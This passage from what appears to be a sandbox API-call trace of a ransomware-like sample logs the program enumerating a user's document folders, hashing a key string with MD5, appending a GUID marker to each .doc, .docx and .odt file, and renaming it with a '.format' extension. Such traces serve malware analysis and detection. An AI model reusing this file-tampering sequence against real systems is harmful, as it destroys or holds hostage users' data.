lpOverlapped=0x0) returned 1 [0068.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.890] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.890] CloseHandle (hObject=0x5c8) returned 1 [0068.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\stmz_Vxkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\stmz_vxkz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\stmz_Vxkz.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\stmz_vxkz.docx.format")) returned 1 [0068.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.891] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.892] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x585da5a0, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x8af46630, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0x8af46630, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x5092, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stmz_Vxkz.docx", cAlternateFileName="STMZ_V~1.DOC")) returned 0 [0068.892] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.893] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2db8 [0068.893] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.896] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\") returned="vKwwSOkmDf1R\\" [0068.896] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\") returned="ZHL2s_-N8agn\\" [0068.896] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.896] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.896] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.896] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.896] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.896] PathFindFileNameW (pszPath="") returned="" [0068.896] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8177250, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xebe94640, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0xebe94640, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8177250, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xebe94640, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0xebe94640, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30c2440, ftCreationTime.dwHighDateTime=0x1d4d272, ftLastAccessTime.dwLowDateTime=0xbb50af00, ftLastAccessTime.dwHighDateTime=0x1d4d47b, ftLastWriteTime.dwLowDateTime=0xbb50af00, ftLastWriteTime.dwHighDateTime=0x1d4d47b, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="785B1FSYcl.doc", cAlternateFileName="785B1F~1.DOC")) returned 1 [0068.897] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\785B1FSYcl.doc") returned=".doc" [0068.897] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\785B1FSYcl.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\785b1fsycl.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.897] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1154) returned 1 [0068.897] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.900] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x45c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.900] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.901] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x482, lpOverlapped=0x0) returned 1 [0068.901] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.901] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.901] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.901] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.901] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.902] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.902] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.902] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.902] GetLastError () returned 0x0 [0068.902] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.902] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x482, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.902] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.902] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.902] CloseHandle (hObject=0x5c8) returned 1 [0068.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\785B1FSYcl.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\785b1fsycl.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\785B1FSYcl.doc.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\785b1fsycl.doc.format")) returned 1 [0068.904] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb07cc0, ftCreationTime.dwHighDateTime=0x1d4cfb8, ftLastAccessTime.dwLowDateTime=0x45dc6b70, ftLastAccessTime.dwHighDateTime=0x1d4cba6, ftLastWriteTime.dwLowDateTime=0x45dc6b70, ftLastWriteTime.dwHighDateTime=0x1d4cba6, nFileSizeHigh=0x0, nFileSizeLow=0x10d52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cy1YKeDsElTUF.odt", cAlternateFileName="CY1YKE~1.ODT")) returned 1 [0068.904] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\Cy1YKeDsElTUF.odt") returned=".odt" [0068.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\Cy1YKeDsElTUF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\cy1ykedseltuf.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.904] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=68946) returned 1 [0068.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.907] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10d2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10d52, lpOverlapped=0x0) returned 1 [0068.908] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.908] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.908] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.908] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.909] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.909] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.909] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.909] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.909] GetLastError () returned 0x0 [0068.909] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.909] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.910] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10d52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.910] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.910] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.910] CloseHandle (hObject=0x5c8) returned 1 [0068.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\Cy1YKeDsElTUF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\cy1ykedseltuf.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\Cy1YKeDsElTUF.odt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\cy1ykedseltuf.odt.format")) returned 1 [0068.913] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccfd030, ftCreationTime.dwHighDateTime=0x1d4ca4f, ftLastAccessTime.dwLowDateTime=0x14f47210, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0x14f47210, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x13d0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g6CVw2EHUNZkVnHB.docx", cAlternateFileName="G6CVW2~1.DOC")) returned 1 [0068.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\g6CVw2EHUNZkVnHB.docx") returned=".docx" [0068.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 